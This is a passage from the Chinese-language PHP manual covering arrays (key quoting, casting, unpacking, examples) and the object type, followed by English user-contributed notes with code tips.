因为 E_ERROR 等于 1，等等。

那么为什么这样做不好？

也许有一天，PHP 开发小组可能会想新增一个常量或者关键字，或者用户可能希望以后在自己的程序中引入新的常量，那就有麻烦了。例如已经不能这样用 empty 和 default 这两个词了，因为他们是 保留关键字。

Note: 重申一次，在双引号字符串中，不给索引加上引号是合法的因此 "$foo[bar]" 是合法的（"合法"的原文为 valid。在实际测试中，这么做确实可以访问数组的该元素，但是会报一个常量未定义的 notice。无论如何，强烈建议不要使用 $foo[bar]这样的写法，而要使用 $foo['bar'] 来访问数组中元素。--haohappy 注）。至于为什么参见以上的例子和 字符串中的变量解析 中的解释。

转换为数组

对于任意 int，float， string，bool 和 resource 类型，如果将一个值转换为 array，将得到一个仅有一个元素的数组，其下标为 0，该元素即为此标量的值。换句话说，(array)$scalarValue 与 array($scalarValue) 完全一样。

如果将 object 类型转换为 array，则结果为一个数组，其单元为该对象的属性。键名将为成员变量名，不过有几点例外：整数属性不可访问； 私有变量前会加上类名作前缀；保护变量前会加上一个 '*' 做前缀。这些前缀的前后都各有一个 NUL 字节。 未初始化的类型属性将会被丢弃。

<?php

class A {
private $B;
protected $C;
public $D;
function __construct()
{
$this->{1} = null;
}
}

var_export((array) new A());
?>

以上示例会输出：

array (
  '' . "\0" . 'A' . "\0" . 'B' => NULL,
  '' . "\0" . '*' . "\0" . 'C' => NULL,
  'D' => NULL,
  1 => NULL,
)

这些 NUL 会导致一些意想不到的行为：

<?php

class A {
private $A; // 将变为 '\0A\0A'
}

class B extends A {
private $A; // 将变为 '\0B\0A'
public $AA; // 将变为 'AA'
}

var_dump((array) new B());
?>

以上示例会输出：

array(3) {
  ["BA"]=>
  NULL
  ["AA"]=>
  NULL
  ["AA"]=>
  NULL
}

上例会有两个键名为 'AA'，不过其中一个实际上是 '\0A\0A'。

将 null 转换为 array 会得到一个空的数组。

比较

可以用 array_diff() 函数和 数组运算符 来比较数组。

数组解包

在 array 定义时，用 ... 前缀的一个 array 可以被展开到当前位置。 只有实现了 Traversable 的数组和对象才能被展开。 PHP 7.4.0 开始可以使用 ... 解包 array。

它可以多次使用，在 ... 操作符前后都可以添加常规元素：

Example #9 简单的数组解包

<?php
// 使用简短的数组语法。
// 亦可用于 array() 语法
$arr1 = [1, 2, 3];
$arr2 = [...$arr1]; //[1, 2, 3]
$arr3 = [0, ...$arr1]; //[0, 1, 2, 3]
$arr4 = [...$arr1, ...$arr2, 111]; //[1, 2, 3, 1, 2, 3, 111]
$arr5 = [...$arr1, ...$arr1]; //[1, 2, 3, 1, 2, 3]

function getArr() {
return ['a', 'b'];
}
$arr6 = [...getArr(), 'c' => 'd']; //['a', 'b', 'c' => 'd']
?>

... 操作符解包 array 时也遵守函数 array_merge() 的语义。 也就是说，key 为字符时，后面的字符键会覆盖之前的字符键；key 为 integer 时则会重新编号：

Example #10 重复 key 的数组解包

<?php
// string key
$arr1 = ["a" => 1];
$arr2 = ["a" => 2];
$arr3 = ["a" => 0, ...$arr1, ...$arr2];
var_dump($arr3); // ["a" => 2]

// integer key
$arr4 = [1, 2, 3];
$arr5 = [4, 5, 6];
$arr6 = [...$arr4, ...$arr5];
var_dump($arr6); // [1, 2, 3, 4, 5, 6]
// 即 [0 => 1, 1 => 2, 2 => 3, 3 => 4, 4 => 5, 5 => 6]
// 也就是原始的 integer key 不再保留
?>

Note:

既不是 integer 也不是 string 的 key 会抛出 TypeError。 这类 key 只能通过 Traversable 对象生成。

Note:

在 PHP 8.1 之前，带有 string 键的 array 无法解包：

<?php

$arr1 = [1, 2, 3];
$arr2 = ['a' => 4];
$arr3 = [...$arr1, ...$arr2];
// Fatal error: Uncaught Error: Cannot unpack array with string keys in example.php:5

$arr4 = [1, 2, 3];
$arr5 = [4, 5];
$arr6 = [...$arr4, ...$arr5]; // works. [1, 2, 3, 4, 5]
?>

示例

PHP 中的数组类型有非常多的用途。以下是一些示例：

<?php
// This:
$a = array( 'color' => 'red',
'taste' => 'sweet',
'shape' => 'round',
'name' => 'apple',
4 // 键名为 0
);

$b = array('a', 'b', 'c');

// . . .完全等同于:
$a = array();
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name'] = 'apple';
$a[] = 4; // 键名为 0

$b = array();
$b[] = 'a';
$b[] = 'b';
$b[] = 'c';

// 执行上述代码后，数组 $a 将是
// array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round',
// 'name' => 'apple', 0 => 4)， 数组 $b 将是
// array(0 => 'a', 1 => 'b', 2 => 'c'), 或简单的 array('a', 'b', 'c').
?>

Example #11 使用 array()

<?php
// Array as (property-)map
$map = array( 'version' => 4,
'OS' => 'Linux',
'lang' => 'english',
'short_tags' => true
);

// 严格的数字键
$array = array( 7,
8,
0,
156,
-10
);
// 这相当于 array(0 => 7, 1 => 8, ...)

$switching = array( 10, // key = 0
5 => 6,
3 => 7,
'a' => 4,
11, // key = 6 (整数索引的最大值为 5)
'8' => 2, // key = 8 (整数！)
'02' => 77, // key = '02'
0 => 12 // 值 10 被 12 覆盖
);

// 空数组
$empty = array();
?>

Example #12 集合

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
echo "Do you like $color?\n";
}

?>

以上示例会输出：

Do you like red?
Do you like blue?
Do you like green?
Do you like yellow?

可以通过引用传递 array 的值来直接更改数组的值。

Example #13 在循环中改变单元

<?php
foreach ($colors as &$color) {
$color = strtoupper($color);
}
unset($color); /* 确保后面对
$color 的写入不会修改最后一个数组元素 */

print_r($colors);
?>

以上示例会输出：

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

本例生成一个下标从 1 开始的数组。

Example #14 下标从 1 开始的数组

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

以上示例会输出：

Array
(
    [1] => 'January'
    [2] => 'February'
    [3] => 'March'
)

Example #15 填充数组

<?php
// 把指定目录中的所有项填充到数组
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
$files[] = $file;
}
closedir($handle);
?>

Array 是有序的。也可以使用不同的排序函数来改变顺序。更多信息参见 数组函数。可以用 count() 函数来统计出 array 中元素的个数。

Example #16 数组排序

<?php
sort($files);
print_r($files);
?>

因为 array 中的值可以为任意值，也可是另一个 array。这样可以产生递归或多维 array。

Example #17 递归和多维数组

<?php
$fruits = array ( "fruits" => array ( "a" => "orange",
"b" => "banana",
"c" => "apple"
),
"numbers" => array ( 1,
2,
3,
4,
5,
6
),
"holes" => array ( "first",
5 => "second",
"third"
)
);

// 处理上面数组中的值的一些例子
echo $fruits["holes"][5]; // 打印 "second"
echo $fruits["fruits"]["a"]; // 打印 "orange"
unset($fruits["holes"][0]); // 删除 "first"

// 创建一个新的多维数组
$juices["apple"]["green"] = "good";
?>

Array 的赋值总是会涉及到值的拷贝。使用 引用运算符 通过引用来拷贝 array。

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 已更改，
// $arr1 仍然是 array(2, 3)

$arr3 = &$arr1;
$arr3[] = 4; // 现在 $arr1 和 $arr3 是一样的
?>

User Contributed Notes

Tanx Xan 09-Nov-2023 01:11
Alternative to associative arrays destructuring example above:

$source_array = ['foo' => 1, 'bar' => 2, 'baz' => 3];

// Assign the element at index 'baz' to the variable $three
// ['baz' => $three] = $source_array; original example
[, , $three] = array_values($source_array); //alternative example

echo $three;    // prints 3
info at q-dev dot nl 18-Jul-2023 12:32
This function makes (assoc.) array creation much easier:

<?php
function arr(...$array){ return $array; }
?>

It allows for short syntax like:

<?php
$arr = arr(x: 1, y: 2, z: 3);
?>

Instead of:

<?php
$arr = ["x" => 1, "y" => 2, "z" => 3];
// or
$arr2 = array("x" => 1, "y" => 2, "z" => 3);
?>

Sadly PHP 8.2 doesn't support this named arguments in the "array" function/language construct.
phplatino at gmail dot com 31-Jul-2021 01:40
to know the depth (dimension) of a ARRAY, you can use this:

function Dim_Ar($A, $i){
    if(!is_array($A))return 0;
    $t[] = 1;
    foreach($A AS $e)if(is_array($e))$t[] = Dim_Ar($e, ++ $i) + 1;
    return max($t);
    }

and use with:

$Q = ARRAY(ARRAY(ARRAY()), ARRAY(ARRAY()));// here depth/dimension is three

echo Dim_Ar($Q, 0);
dylanfj700 at gmail dot com 10-Mar-2020 03:50
// Before php 5.4
$array = array(1,2,3);

// since php 5.4 , short syntax
$array = [1,2,3];

// I recommend using the short syntax if you have php version >= 5.4
anisgazig at gmail dot com 11-Dec-2018 03:06
//array keys are always integer and string data type and array values are all data type
//type casting and overwriting(data type of array key)
//----------------------------------------------------
$arr = array(
1=>"a",//int(1)
"3"=>"b",//int(3)
"08"=>"c",//string(2)"08"
"80"=>"d",//int(80)
"0"=>"e",//int(0)
"Hellow"=>"f",//string(6)"Hellow"
"10Hellow"=>"h",//string(8)"10Hellow"
1.5=>"j",//int(1.5)
"1.5"=>"k",//string(3)"1.5"
0.0=>"l",//int(0)
false=>"m",//int(false)
true=>"n",//int(true)
"true"=>"o",//string(4)"true"
"false"=>"p",//string(5)"false"
null=>"q",//string(0)""
NULL=>"r",//string(0)"" note null and NULL are same
"NULL"=>"s",//string(4)"NULL" ,,,In last element of multiline array,comma is better to used.
);
//check the data type name of key
foreach ($arr as $key => $value) {
var_dump($key);
echo "<br>";
}

//NOte :array and object data type in keys are Illegal ofset.......
Denise Ignatova 24-Dec-2017 10:57
When creating arrays , if we have an element with the same value as another element from the same array, we would expect PHP instead of creating new zval container to increase the refcount and point the duplicate symbol to the same zval. This is true except for value type integer.
Example:

$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => 23 ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=0, is_ref=0)int 23

but :
$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => '23' ];
xdebug_debug_zval( 'arr' );

will produce:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=1, is_ref=0)string '23' (length=2)
or :

$arr = ['bebe' => 'Bob', 'age' => [1,2], 'too' => [1,2] ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
  'too' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
thomas tulinsky 17-Feb-2016 08:10
I think your first, main example is needlessly confusing, very confusing to newbies:

$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

It should be removed.

For newbies:
An array index can be any string value, even a value that is also a value in the array.
The value of array["foo"] is "bar".
The value of array["bar"] is "foo"

The following expressions are both true:
$array["foo"] == "bar"
$array["bar"] == "foo"
note dot php dot lorriman at spamgourmet dot org 09-Jan-2014 03:01
There is another kind of array (php>=  5.3.0) produced by

$array = new SplFixedArray(5);

Standard arrays, as documented here, are marvellously flexible and, due to the underlying hashtable, extremely fast for certain kinds of lookup operation.

Supposing a large string-keyed array

$arr=['string1'=>$data1, 'string2'=>$data2 etc....]

when getting the keyed data with

$data=$arr['string1'];

php does *not* have to search through the array comparing each key string to the given key ('string1') one by one, which could take a long time with a large array. Instead the hashtable means that php takes the given key string and computes from it the memory location of the keyed data, and then instantly retrieves the data. Marvellous! And so quick. And no need to know anything about hashtables as it's all hidden away.

However, there is a lot of overhead in that. It uses lots of memory, as hashtables tend to (also nearly doubling on a 64bit server), and should be significantly slower for integer keyed arrays than old-fashioned (non-hashtable) integer-keyed arrays. For that see more on SplFixedArray :

http://uk3.php.net/SplFixedArray

Unlike a standard php (hashtabled) array, if you lookup by integer then the integer itself denotes the memory location of the data, no hashtable computation on the integer key needed. This is much quicker. It's also quicker to build the array compared to the complex operations needed for hashtables. And it uses a lot less memory as there is no hashtable data structure. This is really an optimisation decision, but in some cases of large integer keyed arrays it may significantly reduce server memory and increase performance (including the avoiding of expensive memory deallocation of hashtable arrays at the exiting of the script).
chris at ocportal dot com 28-May-2013 09:01
Note that array value buckets are reference-safe, even through serialization.

<?php
$x='initial';
$test=array('A'=>&$x,'B'=>&$x);
$test=unserialize(serialize($test));
$test['A']='changed';
echo $test['B']; // Outputs "changed"
?>

This can be useful in some cases, for example saving RAM within complex structures.
mlvljr 20-May-2011 06:37
please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php).
ken underscore yap atsign email dot com 09-Jan-2008 08:00
"If you convert a NULL value to an array, you get an empty array."

This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found.

<?php $values = search(...); ?>

Now you want to merge the array with another array. What do we do if $values is NULL? No problem:

<?php $combined = array_merge((array)$values, $other); ?>

Voila.
ia [AT] zoznam [DOT] sk 30-Sep-2005 02:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
    $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
    $arr[ $key ] = 1;
}
?>
caifara aaaat im dooaat be 28-Aug-2005 02:28
[Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.]

Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
    $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
        )
) */

foreach( $together as $key => $value ) {
    $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
            [c] => 3
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
            [c] => 3
        )
)
*/

?>
jeff splat codedread splot com 21-Apr-2005 09:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
    printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="Windows3.1" value="Sux">
    <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
lars-phpcomments at ukmix dot net 28-Mar-2005 08:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>


Object 对象

对象初始化

要创建一个新的对象 object，使用 new 语句实例化一个类：

<?php
class foo
{
function do_foo()
{
echo "Doing foo.";
}
}

$bar = new foo;
$bar->do_foo();
?>

详细讨论参见手册中类与对象章节。

转换为对象

如果将一个对象转换成对象，它将不会有任何变化。如果其它任何类型的值被转换成对象，将会创建一个内置类 stdClass 的实例。如果该值为 null，则新的实例为空。 array 转换成 object 将使键名成为属性名并具有相对应的值。注意：在这个例子里， 使用 PHP 7.2.0 之前的版本，数字键只能通过迭代访问。

<?php
$obj = (object) array('1' => 'foo');
var_dump(isset($obj->{'1'})); // PHP 7.2.0 后输出 'bool(true)'，之前版本会输出 'bool(false)'
var_dump(key($obj)); // PHP 7.2.0 后输出 'string(1) "1"'，之前版本输出 'int(1)'
?>

对于其他值，会包含进成员变量名 scalar。

<?php
$obj = (object) 'ciao';
echo $obj->scalar; // 输出 'ciao'
?>

User Contributed Notes

uchephilz 15-Jul-2020 02:30
**Shorthand**

`$object = json_decode(json_encode($array));`

Or

`$jsonString = json_encode($array);
$object = json_decode($jsonString);`
Luis 02-Apr-2018 09:17
another way to instantiate an empty generic php object:

<?php $dataObj = json_decode('{}'); ?>
dr dot mustafa dot darwish at gmail dot com 25-Mar-2018 12:14
in php 7.2 this code works despite documentation said it gives false

<?php
$obj = (object) array('1' => 'foo');

//output foo
echo $obj->{'1'};

?>
aditycse at gmail dot com 10-Nov-2017 04:00
<?php

/**
 * Used for checking empty objects/array
 * @uses How to check empty objects and array in php code
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */

/**
 * Empty class
 */
class EmptyClass {

}

$obj = new stdClass();
//or any other class empty object
$emptyClassObj = new EmptyClass();
$array = array();

if (empty($array)) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (empty($obj)) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}
echo "<br>";

if (empty($emptyClassObj)) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}
echo "<br>";

//Result SET 1
//array is empty      => expected result
//object is not empty => ouch what happened
//EmptyClass is not empty => ouch what happened

/**
 * So what we do for checking empty object
 * @solution use any known property or check property count
 * Or you can use below method
 * Count function will not return 0 in empty object
 */

//Below line print "Object count:1"
echo 'Object count:' . count($obj);

echo "<br>";

/**
 * This function is used to get object item counts
 * @function getCount
 * @access public
 * @param object|array $var
 * @return integer
 */
function getCount($var) {
    $count = 0;
    if (is_array($var) || is_object($var)) {
        foreach ($var as $value) {
            $count++;
        }
    }
    unset($value);
    return $count;
}

//Running code again with new logic
if (getCount($array) === 0) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (getCount($obj) === 0) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}

echo "<br>";

if (getCount($emptyClassObj) === 0) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}

//Result SET 2
//array is empty    => expected result  ##everything is all right
//object is empty   => expected result  ##everything is all right
//EmptyClass is empty   => expected result  ##everything is all right
brian dot weber1337 at gmail dot com 02-Feb-2017 10:24
In PHP 5+, objects are passed by reference. This has got me into trouble in the past when I've tried to make arrays of objects.
For example, I once wrote something like the following code, thinking that I'd get an array of distinct objects. However, this is wrong. This code will create an array of multiple references to the same object.

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  $arrayItem = new myNumber();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [1]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [2]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
}

notice that the value at each index in the array is the same. That is because the array is just 3 references to the same object, but we change the property of this object every time the for loop runs. This isn't very useful. Instead, I've changed the code below so that it will create an array with three distinct references to three distinct objects. (if you're having a hard time understanding references, think of this as an array of objects, and that this is just the syntax you have to use.)

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem = new myNumber();
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(0)
  }
  [1]=>
  object(myNumber)#2 (1) {
    ["value"]=>
    int(1)
  }
  [2]=>
  object(myNumber)#3 (1) {
    ["value"]=>
    int(2)
  }
}

Notice how the creation of a new object ("$arrayItem = new myNumber();") must happen every time the for loop runs for this to work.
This took me forever to figure out, so I hope this helps someone else.
Walter Tross 20-Jan-2017 04:50
If you need to force json_encode() to produce an object even when an array is empty or does not have successive 0-based numeric indices, you can simply convert the array to an object. JSON_FORCE_OBJECT does the same with ALL arrays, which might not be what you want.

<?php

echo json_encode([[]]), "\n";
// output: [[]]

echo json_encode([[]], JSON_FORCE_OBJECT), "\n";
// output: {"0":{}}

echo json_encode([(object)[]]), "\n";
// output: [{}]

echo json_encode([0=>"a", 1=>"b", 9=>"c"]), "\n";
// output: {"0":"a","1":"b","9":"c"}

echo json_encode([0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: ["a","b","c"]

echo json_encode((object)[0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: {"0":"a","1":"b","2":"c"}
?>
solly dot ucko at google dot com 27-Apr-2016 05:09
To create an object with values, in javascript you would use `{key: value}`. In PHP you use `[key=>value]`.
developer dot amankr at gmail dot com (Aman Kuma) 11-Mar-2016 10:27
<!--Example shows how to convert array to stdClass Object and how to access its value for display -->
<?php
$num = array("Garha","sitamarhi","canada","patna"); //create an array
$obj = (object)$num; //change array to stdClass object

echo "<pre>";
print_r($obj); //stdClass Object created by casting of array

$newobj = new stdClass();//create a new
$newobj->name = "India";
$newobj->work = "Development";
$newobj->address="patna";

$new = (array)$newobj;//convert stdClass to array
echo "<pre>";
print_r($new); //print new object

##How deals with Associative Array

$test = [Details=>['name','roll number','college','mobile'],values=>['Naman Kumar','100790310868','Pune college','9988707202']];
$val = json_decode(json_encode($test),false);//convert array into stdClass object

echo "<pre>";
print_r($val);

echo ((is_array($val) == true ?  1 : 0 ) == 1 ? "array" : "not an array" )."</br>"; // check whether it is array or not
echo ((is_object($val) == true ?  1 : 0 ) == 1 ? "object" : "not an object" );//check whether it is object or not
?>
Anthony 18-Jan-2016 10:36
In PHP 7 there are a few ways to create an empty object:

<?php
$obj1 = new \stdClass; // Instantiate stdClass object
$obj2 = new class{}; // Instantiate anonymous class
$obj3 = (object)[]; // Cast empty array to object

var_dump($obj1); // object(stdClass)#1 (0) {}
var_dump($obj2); // object(class@anonymous)#2 (0) {}
var_dump($obj3); // object(stdClass)#3 (0) {}
?>

$obj1 and $obj3 are the same type, but $obj1 !== $obj3. Also, all three will json_encode() to a simple JS object {}:

<?php
echo json_encode([
    new \stdClass,
    new class{},
    (object)[],
]);
?>

Outputs: [{},{},{}]
twitter/matt2000 21-Apr-2015 09:28
As of PHP 5.4, we can create stdClass objects with some properties and values using the more beautiful form:

<?php
  $object = (object) [
    'propertyOne' => 'foo',
    'propertyTwo' => 42,
  ];
?>
Ashley Dambra 21-Feb-2014 06:38
Here a new updated version of 'stdObject' class. It's very useful when extends to controller on MVC design pattern, user can create it's own class.

Hope it help you.

 <?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                $this->{$property} = $argument;
            }
        }
    }

    public function __call($method, $arguments) {
        $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this).
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

// Usage.

$obj = new stdObject();
$obj->name = "Nick";
$obj->surname = "Doe";
$obj->age = 20;
$obj->adresse = null;

$obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject).
    echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse;
};

$func = "setAge";
$obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method.
    $stdObject->age = $age;
};

$obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'.

// Create dynamic method. Here i'm generating getter and setter dynimically
// Beware: Method name are case sensitive.
foreach ($obj as $func_name => $value) {
    if (!$value instanceOf Closure) {

        $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            $stdObject->{$func_name} = $value;
        };

        $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            return $stdObject->{$func_name};
        };

    }
}

$obj->setName("John");
$obj->setAdresse("Boston");

$obj->getInfo();
?>
Ashley Dambra 19-Feb-2014 06:51
Class like stdClass but with the possibility to add and execute function.

class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}
wyattstorch42 at outlook dot com 31-Dec-2013 05:07
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
qeremy [atta] gmail [dotta] com 02-Mar-2012 12:41
Do you remember some JavaScript implementations?

// var timestamp = (new Date).getTime();

Now it's possible with PHP 5.4.*;

<?php
class Foo
{
    public $a = "I'm a!";
    public $b = "I'm b!";
    public $c;

    public function getB() {
        return $this->b;
    }

    public function setC($c) {
        $this->c = $c;
        return $this;
    }

    public function getC() {
        return $this->c;
    }
}

print (new Foo)->a;      // I'm a!
print (new Foo)->getB(); // I'm b!
?>

or

<?php
// $_GET["c"] = "I'm c!";
print (new Foo)
       ->setC($_GET["c"])
       ->getC(); // I'm c!
?>
helpful at stranger dot com 04-Jan-2012 01:15
By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose:

<?php $genericObject = new stdClass(); ?>

I had the most difficult time finding this, hopefully it will help someone else!
Cosmitar: mhherrera31 at hotmail 07-Dec-2010 10:47
i would like to share a curious behavior on casted objects. Casting an object from a class with private/protected attributes results a stdClass with a private/protected attribute for get.
Example:
<?PHP
class Foo{
 private $priv = 1;
 public $pub = 2;
 public function getSimple(){
  return (object)(array) $this; //the array cast is to force a stdClass result
 }
}
$bar = new Foo();
var_dump($bar->getSimple();// output: object(stdClass)#3 (2) { ["priv:private"]=> int(1) ["pub"]=> int(2) }

var_dump($bar->getSimple()->priv);// output: NULL, not a Fatal Error
var_dump($bar->getSimple()->pub);// output: int(2)

$barSimple = $bar->getSimple();
$barSimple->priv = 10;
var_dump($barSimple->priv);// output: int(10)

?>
Anonymous 05-Jan-2010 02:10
Initialization, Instantiation and Instances are terms that can be confusing at first. Let's try to sort it out starting with this simple class definition.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now create several INSTANCES of User by INSTANTIATING the User class above.

<?php
$user_1 = new User;        // $user_1 is an INSTANCE of User
$user_2 = new User;        // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';     // User [first='', last='']
echo $user_2 . '<br>';     // User [first='', last='']
?>

Here we have (2) two INSTANCES of User, but each instance was only INSTANTIATED once - when we used the 'new' operator.

And now looking at the printed output, you can see there are no values for their first or last names. This means that the objects themselves have NOT been INITIALIZED. To remedy this situation, rewrite the class definition by adding a __construct() method.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __construct($first, $last)    // Require first and last names when INSTANTIATING
  {
    $this->first_name = $first;                 // INITIALIZE $first_name;
    $this->last_name = $last;                   // INITIALIZE $last_name;
  }

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now try it again.

<?php
$user_1 = new User('John', 'Doe');      // $user_i is an INSTANCE of User
$user_2 = new User('Jane', 'Doe');      // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';                  // prints: User [first='John', last='Doe']
echo $user_2 . '<br>';                  // prints: User [first='Jane', last='Doe']
?>

